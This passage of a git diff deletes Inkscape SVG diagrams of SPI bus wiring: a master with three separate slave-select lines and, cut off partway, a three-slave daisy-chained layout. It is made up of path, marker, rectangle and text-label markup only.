-       inkscape:stockid="Arrow2Mstart"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow2Mstart"
-       style="overflow:visible">
-      <path
-         id="path2570"
-         style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round"
-         d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z "
-         transform="matrix(0.6,0,0,0.6,-3,0)" />
-    </marker>
-    <marker
-       inkscape:stockid="TriangleInL"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="TriangleInL"
-       style="overflow:visible">
-      <path
-         id="path2502"
-         d="M 5.77,0 L -2.88,5 L -2.88,-5 L 5.77,0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none"
-         transform="scale(-0.8,-0.8)" />
-    </marker>
-    <marker
-       inkscape:stockid="TriangleOutL"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="TriangleOutL"
-       style="overflow:visible">
-      <path
-         id="path2493"
-         d="M 5.77,0 L -2.88,5 L -2.88,-5 L 5.77,0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none"
-         transform="scale(0.8,0.8)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow2Lstart"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow2Lstart"
-       style="overflow:visible">
-      <path
-         id="path2576"
-         style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round"
-         d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z "
-         transform="matrix(1.1,0,0,1.1,-5.5,0)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow2Lend"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow2Lend"
-       style="overflow:visible">
-      <path
-         id="path3298"
-         style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round"
-         d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z "
-         transform="matrix(-1.1,0,0,-1.1,5.5,0)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow1Lend"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow1Lend"
-       style="overflow:visible">
-      <path
-         id="path3316"
-         d="M 0,0 L 5,-5 L -12.5,0 L 5,5 L 0,0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none"
-         transform="scale(-0.8,-0.8)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow1Lstart"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow1Lstart"
-       style="overflow:visible">
-      <path
-         id="path3319"
-         d="M 0,0 L 5,-5 L -12.5,0 L 5,5 L 0,0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none"
-         transform="scale(0.8,0.8)" />
-    </marker>
-  </defs>
-  <sodipodi:namedview
-     id="base"
-     pagecolor="#ffffff"
-     bordercolor="#666666"
-     borderopacity="1.0"
-     inkscape:pageopacity="0.0"
-     inkscape:pageshadow="2"
-     inkscape:zoom="2"
-     inkscape:cx="210.40651"
-     inkscape:cy="140.60009"
-     inkscape:document-units="px"
-     inkscape:current-layer="layer1"
-     inkscape:window-width="976"
-     inkscape:window-height="962"
-     inkscape:window-x="0"
-     inkscape:window-y="31" />
-  <metadata
-     id="metadata7">
-    <rdf:RDF>
-      <cc:Work
-         rdf:about="">
-        <dc:format>image/svg+xml</dc:format>
-        <dc:type
-           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
-      </cc:Work>
-    </rdf:RDF>
-  </metadata>
-  <g
-     inkscape:label="Layer 1"
-     inkscape:groupmode="layer"
-     id="layer1">
-    <g
-       id="g2202">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96824229px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 131.25,25 L 131.25,25.96875 C 176.07915,25.96875 198.51146,25.96875 209.71875,25.96875 C 215.32239,25.96875 218.13034,25.96875 219.53125,25.96875 C 220.23171,25.96875 220.57489,25.96875 220.75,25.96875 C 220.83756,25.96875 220.88436,25.96875 220.90625,25.96875 L 220.90625,25.5 L 220.90625,25 C 220.90625,25 220.90829,25 131.25,25 z "
-         id="path3144" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.77459383pt;marker-start:none"
-         d="M 225.38904,25.497581 L 218.6888,29.37055 L 218.6888,21.624612 L 225.38904,25.497581 z "
-         id="path2208" />
-    </g>
-    <g
-       id="g2210">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96824229px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 131.25,40.625 L 131.25,41.59375 C 176.07915,41.593749 198.51146,41.59375 209.71875,41.59375 C 215.32239,41.59375 218.13034,41.59375 219.53125,41.59375 C 220.23171,41.59375 220.57489,41.59375 220.75,41.59375 C 220.83756,41.59375 220.88436,41.59375 220.90625,41.59375 L 220.90625,41.09375 L 220.90625,40.625 C 220.90625,40.625 220.90829,40.624998 131.25,40.625 z "
-         id="path3330" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.77459383pt;marker-start:none"
-         d="M 225.38904,41.101164 L 218.6888,44.974133 L 218.6888,37.228195 L 225.38904,41.101164 z "
-         id="path2216" />
-    </g>
-    <g
-       id="g2226">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96824229px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 131.25,71.8125 L 131.25,72.78125 C 176.07915,72.78125 198.51146,72.78125 209.71875,72.78125 C 215.32239,72.78125 218.13034,72.78125 219.53125,72.78125 C 220.23171,72.78125 220.57489,72.78125 220.75,72.78125 C 220.83756,72.78125 220.88436,72.78125 220.90625,72.78125 L 220.90625,72.3125 L 220.90625,71.8125 C 220.90625,71.8125 220.90829,71.8125 131.25,71.8125 z "
-         id="path3334" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.77459383pt;marker-start:none"
-         d="M 225.38904,72.308296 L 218.6888,76.181265 L 218.6888,68.435327 L 225.38904,72.308296 z "
-         id="path2232" />
-    </g>
-    <path
-       sodipodi:type="arc"
-       style="fill:#000000;fill-opacity:1"
-       id="path2607"
-       sodipodi:cx="209.65625"
-       sodipodi:cy="43.518429"
-       sodipodi:rx="1.9375"
-       sodipodi:ry="1.9375"
-       d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1  207.71875,43.518429 A 1.9375 1.9375 0 1 1  211.59375 43.518429 z"
-       transform="translate(-12.09375,-18)" />
-    <path
-       sodipodi:type="arc"
-       style="fill:#000000;fill-opacity:1"
-       id="path2609"
-       sodipodi:cx="209.65625"
-       sodipodi:cy="43.518429"
-       sodipodi:rx="1.9375"
-       sodipodi:ry="1.9375"
-       d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1  207.71875,43.518429 A 1.9375 1.9375 0 1 1  211.59375 43.518429 z"
-       transform="translate(-23.59098,-2.4645)" />
-    <g
-       id="g2254">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.02442479px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 131.03125,85.34375 L 131.03125,86.375 L 162.53125,86.375 L 162.53125,162.375 L 162.53125,162.875 L 163.03125,162.875 L 220.5,162.875 L 220.5,161.84375 L 163.53125,161.84375 L 163.53125,85.875 L 163.53125,85.34375 L 163.03125,85.34375 L 131.03125,85.34375 z "
-         id="path2677" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.81953983pt;marker-start:none"
-         d="M 225.21856,162.36218 L 218.12955,166.45988 L 218.12955,158.26448 L 225.21856,162.36218 z "
-         id="path2260" />
-    </g>
-    <g
-       id="g2262">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.0245285px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 131.03125,100.46875 L 131.03125,101.5 L 145.9375,101.5 L 145.9375,252.46875 L 145.9375,253 L 146.4375,253 L 220.65625,253 L 220.65625,251.96875 L 146.9375,251.96875 L 146.9375,100.96875 L 146.9375,100.46875 L 146.4375,100.46875 L 131.03125,100.46875 z "
-         id="path2679" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.8196228pt;marker-start:none"
-         d="M 225.38937,252.47886 L 218.29964,256.57697 L 218.29964,248.38075 L 225.38937,252.47886 z "
-         id="path2268" />
-    </g>
-    <g
-       id="g2242">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.0321871px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 185.625,41.0625 L 185.625,132.4375 L 185.625,132.96875 L 186.15625,132.96875 L 220.78125,132.96875 L 220.78125,131.9375 L 186.65625,131.9375 L 186.65625,41.0625 L 185.625,41.0625 z "
-         id="path2687" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.82574968pt;marker-start:none"
-         d="M 225.55987,132.44748 L 218.41713,136.57623 L 218.41713,128.31873 L 225.55987,132.44748 z "
-         id="path2248" />
-    </g>
-    <g
-       id="g2234">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.04614723px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 197.09375,25.5 L 197.09375,117.40625 L 197.09375,117.9375 L 197.625,117.9375 L 220.65625,117.9375 L 220.65625,116.90625 L 198.15625,116.90625 L 198.15625,25.5 L 197.09375,25.5 z "
-         id="path2689" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.83691778pt;marker-start:none"
-         d="M 225.48174,117.42146 L 218.2424,121.60605 L 218.2424,113.23687 L 225.48174,117.42146 z "
-         id="path2240" />
-    </g>
-    <path
-       style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-       d="M 174.25,56.375 L 174.25,147.875 L 174.25,148.375 L 174.75,148.375 L 226.5,148.375 L 226.5,147.375 L 175.25,147.375 L 175.25,56.375 L 174.25,56.375 z "
-       id="path2691" />
-    <path
-       style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.99764985px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-       d="M 174.25,148.375 L 174.25,239.125 L 174.25,239.625 L 174.75,239.625 L 226.75,239.625 L 226.75,238.625 L 175.25,238.625 L 175.25,148.375 L 174.25,148.375 z "
-       id="path2693" />
-    <path
-       sodipodi:type="arc"
-       style="fill:#000000;fill-opacity:1"
-       id="path2695"
-       sodipodi:cx="209.65625"
-       sodipodi:cy="43.518429"
-       sodipodi:rx="1.9375"
-       sodipodi:ry="1.9375"
-       d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1  207.71875,43.518429 A 1.9375 1.9375 0 1 1  211.59375 43.518429 z"
-       transform="translate(-34.89167,13.09186)" />
-    <path
-       sodipodi:type="arc"
-       style="fill:#000000;fill-opacity:1"
-       id="path2697"
-       sodipodi:cx="209.65625"
-       sodipodi:cy="43.518429"
-       sodipodi:rx="1.9375"
-       sodipodi:ry="1.9375"
-       d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1  207.71875,43.518429 A 1.9375 1.9375 0 1 1  211.59375 43.518429 z"
-       transform="translate(-34.78125,104.5938)" />
-    <g
-       id="g2274">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.02505863px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 185.6875,132.28125 L 185.6875,223.5 L 185.6875,224 L 186.1875,224 L 220.5625,224 L 220.5625,222.96875 L 186.71875,222.96875 L 186.71875,132.28125 L 185.6875,132.28125 z "
-         id="path2699" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.8200469pt;marker-start:none"
-         d="M 225.28696,223.48748 L 218.19355,227.58771 L 218.19355,219.38725 L 225.28696,223.48748 z "
-         id="path2280" />
-    </g>
-    <g
-       id="g2282">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.03560543px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 197.1875,117.25 L 197.1875,208.09375 L 197.1875,208.625 L 197.6875,208.625 L 220.4375,208.625 L 220.4375,207.59375 L 198.21875,207.59375 L 198.21875,117.25 L 197.1875,117.25 z "
-         id="path2701" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.82848434pt;marker-start:none"
-         d="M 225.22445,208.10791 L 218.05807,212.25033 L 218.05807,203.96549 L 225.22445,208.10791 z "
-         id="path2288" />
-    </g>
-    <g
-       id="g2218">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.98819256px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 136.71875,56.375 L 136.71875,57.375 C 181.77434,57.375 204.2986,57.375 215.5625,57.375 C 221.19445,57.375 223.99826,57.375 225.40625,57.375 C 226.11024,57.375 226.449,57.375 226.625,57.375 C 226.713,57.375 226.75925,57.375 226.78125,57.375 C 226.79225,57.375 226.80975,57.375 226.8125,57.375 L 226.8125,56.875 L 226.8125,56.375 C 226.8125,56.375 226.82993,56.375 136.71875,56.375 z "
-         id="path2789" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.79055405pt;marker-start:none"
-         d="M 132.14357,56.869228 L 138.98187,52.916458 L 138.98187,60.821998 L 132.14357,56.869228 z "
-         id="path2224" />
-    </g>
-    <path
-       sodipodi:type="arc"
-       style="fill:#000000;fill-opacity:1"
-       id="path2567"
-       sodipodi:cx="209.65625"
-       sodipodi:cy="43.518429"
-       sodipodi:rx="1.9375"
-       sodipodi:ry="1.9375"
-       d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1  207.71875,43.518429 A 1.9375 1.9375 0 1 1  211.59375 43.518429 z"
-       transform="translate(-23.48829,88.96704)" />
-    <path
-       sodipodi:type="arc"
-       style="fill:#000000;fill-opacity:1"
-       id="path2569"
-       sodipodi:cx="209.65625"
-       sodipodi:cy="43.518429"
-       sodipodi:rx="1.9375"
-       sodipodi:ry="1.9375"
-       d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1  207.71875,43.518429 A 1.9375 1.9375 0 1 1  211.59375 43.518429 z"
-       transform="translate(-12.01454,73.9631)" />
-    <g
-       id="g2794">
-      <rect
-         y="12.917446"
-         x="12.858437"
-         height="100.88948"
-         width="118.28313"
-         id="rect1307"
-         style="fill:#ffc2a1;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.88664234px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-      <text
-         sodipodi:linespacing="125%"
-         id="text2182"
-         y="60.212772"
-         x="38"
-         style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="60.212772"
-           x="38"
-           id="tspan2184"
-           sodipodi:role="line">SPI</tspan><tspan
-           id="tspan2186"
-           y="75.212772"
-           x="38"
-           sodipodi:role="line">Master</tspan></text>
-      <text
-         sodipodi:linespacing="125%"
-         id="text3061"
-         y="30.724487"
-         x="120"
-         style="font-size:12px;font-style:normal;font-weight:normal;text-align:end;line-height:125%;writing-mode:lr-tb;text-anchor:end;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="30.724487"
-           x="120"
-           id="tspan3063"
-           sodipodi:role="line">SCLK</tspan><tspan
-           id="tspan3065"
-           y="45.724487"
-           x="120"
-           sodipodi:role="line">MOSI</tspan><tspan
-           id="tspan3067"
-           y="60.724487"
-           x="120"
-           sodipodi:role="line">MISO</tspan><tspan
-           id="tspan3069"
-           y="75.724487"
-           x="120"
-           sodipodi:role="line">SS1</tspan><tspan
-           id="tspan2673"
-           y="90.724487"
-           x="120"
-           sodipodi:role="line">SS2</tspan><tspan
-           id="tspan2675"
-           y="105.72449"
-           x="120"
-           sodipodi:role="line">SS3</tspan></text>
-      <path
-         id="path2341"
-         d="M 97.886043,64.584585 L 118.40024,64.584585"
-         style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-      <path
-         id="path2624"
-         d="M 97.886044,79.919953 L 118.40024,79.919953"
-         style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-      <path
-         id="path2626"
-         d="M 97.886043,95.255342 L 118.40024,95.255342"
-         style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-    </g>
-    <g
-       id="g2771">
-      <rect
-         y="12.768347"
-         x="226.85843"
-         height="72.187675"
-         width="118.28313"
-         id="rect3084"
-         style="fill:#b9e179;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-      <text
-         sodipodi:linespacing="125%"
-         id="text3086"
-         y="45.712769"
-         x="320"
-         style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="45.712769"
-           x="320"
-           id="tspan3088"
-           sodipodi:role="line">SPI</tspan><tspan
-           id="tspan3090"
-           y="60.712769"
-           x="320"
-           sodipodi:role="line">Slave</tspan></text>
-      <text
-         id="text3092"
-         y="30.724487"
-         x="236"
-         style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="30.724487"
-           x="236"
-           id="tspan3094"
-           sodipodi:role="line">SCLK</tspan><tspan
-           id="tspan3096"
-           y="45.724487"
-           x="236"
-           sodipodi:role="line">MOSI</tspan><tspan
-           id="tspan3098"
-           y="60.724487"
-           x="236"
-           sodipodi:role="line">MISO</tspan><tspan
-           id="tspan3100"
-           y="75.724487"
-           x="236"
-           sodipodi:role="line">SS</tspan></text>
-      <path
-         id="path2694"
-         d="M 236.92188,65.124998 L 250.14063,65.124998"
-         style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-    </g>
-    <g
-       id="g2750">
-      <rect
-         y="103.46392"
-         x="226.87628"
-         height="72.187675"
-         width="118.28313"
-         id="rect1462"
-         style="fill:#8fbbdf;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-      <text
-         sodipodi:linespacing="125%"
-         id="text1464"
-         y="136.40834"
-         x="320.01785"
-         style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="136.40834"
-           x="320.01785"
-           id="tspan1466"
-           sodipodi:role="line">SPI</tspan><tspan
-           id="tspan1468"
-           y="151.40834"
-           x="320.01785"
-           sodipodi:role="line">Slave</tspan></text>
-      <text
-         id="text1470"
-         y="121.42006"
-         x="236.01785"
-         style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="121.42006"
-           x="236.01785"
-           id="tspan1472"
-           sodipodi:role="line">SCLK</tspan><tspan
-           id="tspan1474"
-           y="136.42006"
-           x="236.01785"
-           sodipodi:role="line">MOSI</tspan><tspan
-           id="tspan1476"
-           y="151.42006"
-           x="236.01785"
-           sodipodi:role="line">MISO</tspan><tspan
-           id="tspan1478"
-           y="166.42006"
-           x="236.01785"
-           sodipodi:role="line">SS</tspan></text>
-      <path
-         id="path2696"
-         d="M 236.95313,155.4375 L 250.17188,155.4375"
-         style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-    </g>
-    <g
-       id="g2729">
-      <rect
-         y="194.15945"
-         x="226.87628"
-         height="72.187675"
-         width="118.28313"
-         id="rect1482"
-         style="fill:#bfa1d1;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-      <text
-         sodipodi:linespacing="125%"
-         id="text1484"
-         y="227.10387"
-         x="320.01785"
-         style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="227.10387"
-           x="320.01785"
-           id="tspan1486"
-           sodipodi:role="line">SPI</tspan><tspan
-           id="tspan1488"
-           y="242.10387"
-           x="320.01785"
-           sodipodi:role="line">Slave</tspan></text>
-      <text
-         id="text1490"
-         y="212.11559"
-         x="236.01785"
-         style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="212.11559"
-           x="236.01785"
-           id="tspan1492"
-           sodipodi:role="line">SCLK</tspan><tspan
-           id="tspan1494"
-           y="227.11559"
-           x="236.01785"
-           sodipodi:role="line">MOSI</tspan><tspan
-           id="tspan1496"
-           y="242.11559"
-           x="236.01785"
-           sodipodi:role="line">MISO</tspan><tspan
-           id="tspan1498"
-           y="257.11559"
-           x="236.01785"
-           sodipodi:role="line">SS</tspan></text>
-      <path
-         id="path2698"
-         d="M 236.57813,246 L 249.79688,246"
-         style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-    </g>
-  </g>
-</svg>
diff --git a/20161110/SPI_three_slaves_daisy_chained.svg b/20161110/SPI_three_slaves_daisy_chained.svg
deleted file mode 100644
index 5256fcff4a1fe1c6e70a5e4926623944c47b9e5a..0000000000000000000000000000000000000000
--- a/20161110/SPI_three_slaves_daisy_chained.svg
+++ /dev/null
@@ -1,537 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!-- Created with Inkscape (http://www.inkscape.org/) -->
-<svg
-   xmlns:dc="http://purl.org/dc/elements/1.1/"
-   xmlns:cc="http://web.resource.org/cc/"
-   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
-   xmlns:svg="http://www.w3.org/2000/svg"
-   xmlns="http://www.w3.org/2000/svg"
-   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
-   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
-   width="290pt"
-   height="230pt"
-   id="svg2"
-   sodipodi:version="0.32"
-   inkscape:version="0.45"
-   sodipodi:docbase="/home/cburnett/wikipedia/images/electronics"
-   sodipodi:docname="SPI three slaves daisy chained.svg"
-   version="1.0"
-   inkscape:output_extension="org.inkscape.output.svg.inkscape"
-   sodipodi:modified="true">
-  <defs
-     id="defs4">
-    <marker
-       inkscape:stockid="TriangleInM"
-       orient="auto"
-       refY="0.0"
-       refX="0.0"
-       id="TriangleInM"
-       style="overflow:visible">
-      <path
-         id="path2480"
-         d="M 5.77,0.0 L -2.88,5.0 L -2.88,-5.0 L 5.77,0.0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
-         transform="scale(-0.4)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow2Mstart"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow2Mstart"
-       style="overflow:visible">
-      <path
-         id="path2570"
-         style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round"
-         d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z "
-         transform="matrix(0.6,0,0,0.6,-3,0)" />
-    </marker>
-    <marker
-       inkscape:stockid="TriangleInL"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="TriangleInL"
-       style="overflow:visible">
-      <path
-         id="path2502"
-         d="M 5.77,0 L -2.88,5 L -2.88,-5 L 5.77,0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none"
-         transform="scale(-0.8,-0.8)" />
-    </marker>
-    <marker
-       inkscape:stockid="TriangleOutL"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="TriangleOutL"
-       style="overflow:visible">
-      <path
-         id="path2493"
-         d="M 5.77,0 L -2.88,5 L -2.88,-5 L 5.77,0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none"
-         transform="scale(0.8,0.8)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow2Lstart"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow2Lstart"
-       style="overflow:visible">
-      <path
-         id="path2576"
-         style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round"
-         d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z "
-         transform="matrix(1.1,0,0,1.1,-5.5,0)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow2Lend"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow2Lend"
-       style="overflow:visible">
-      <path
-         id="path3298"
-         style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round"
-         d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z "
-         transform="matrix(-1.1,0,0,-1.1,5.5,0)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow1Lend"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow1Lend"
-       style="overflow:visible">
-      <path
-         id="path3316"
-         d="M 0,0 L 5,-5 L -12.5,0 L 5,5 L 0,0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none"
-         transform="scale(-0.8,-0.8)" />
-    </marker>
-    <marker
-       inkscape:stockid="Arrow1Lstart"
-       orient="auto"
-       refY="0"
-       refX="0"
-       id="Arrow1Lstart"
-       style="overflow:visible">
-      <path
-         id="path3319"
-         d="M 0,0 L 5,-5 L -12.5,0 L 5,5 L 0,0 z "
-         style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none"
-         transform="scale(0.8,0.8)" />
-    </marker>
-  </defs>
-  <sodipodi:namedview
-     id="base"
-     pagecolor="#ffffff"
-     bordercolor="#666666"
-     borderopacity="1.0"
-     inkscape:pageopacity="0.0"
-     inkscape:pageshadow="2"
-     inkscape:zoom="2.0000001"
-     inkscape:cx="217.78144"
-     inkscape:cy="139.15758"
-     inkscape:document-units="px"
-     inkscape:current-layer="layer1"
-     inkscape:window-width="1272"
-     inkscape:window-height="965"
-     inkscape:window-x="0"
-     inkscape:window-y="31" />
-  <metadata
-     id="metadata7">
-    <rdf:RDF>
-      <cc:Work
-         rdf:about="">
-        <dc:format>image/svg+xml</dc:format>
-        <dc:type
-           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
-      </cc:Work>
-    </rdf:RDF>
-  </metadata>
-  <g
-     inkscape:label="Layer 1"
-     inkscape:groupmode="layer"
-     id="layer1">
-    <g
-       id="g2202">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96824229px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
